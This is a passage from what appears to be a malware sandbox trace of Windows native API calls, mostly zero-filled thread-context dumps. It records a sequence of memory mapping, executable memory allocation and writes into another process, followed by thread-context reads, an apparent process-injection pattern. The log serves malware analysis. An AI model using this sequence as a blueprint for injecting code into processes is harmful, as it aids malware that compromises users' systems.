[506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.225] NtMapViewOfSection (in: SectionHandle=0x144, ProcessHandle=0x140, BaseAddress=0x18f35c*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x18f358*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x18f35c*=0x400000, SectionOffset=0x0, ViewSize=0x18f358*=0x153000) returned 0x40000003 [0112.227] NtAllocateVirtualMemory (in: ProcessHandle=0x140, BaseAddress=0x18f35c*=0x0, ZeroBits=0x0, RegionSize=0x18f358*=0x100000, AllocationType=0x1000, Protect=0x40 | out: BaseAddress=0x18f35c*=0x1a0000, RegionSize=0x18f358*=0x100000) returned 0x0 [0112.243] NtWriteVirtualMemory (in: ProcessHandle=0x140, BaseAddress=0x1a0000, Buffer=0x250000*, NumberOfBytesToWrite=0x9000, NumberOfBytesWritten=0x18f358 | out: Buffer=0x250000*, NumberOfBytesWritten=0x18f358*=0x9000) returned 0x0 [0112.286] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.294] NtGetContextThread (in: ThreadHandle=0x13c, Context=0x3a64100 | out: Context=0x3a64100*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x401344, Ebp=0x0, Eip=0x77bc01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.302] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, 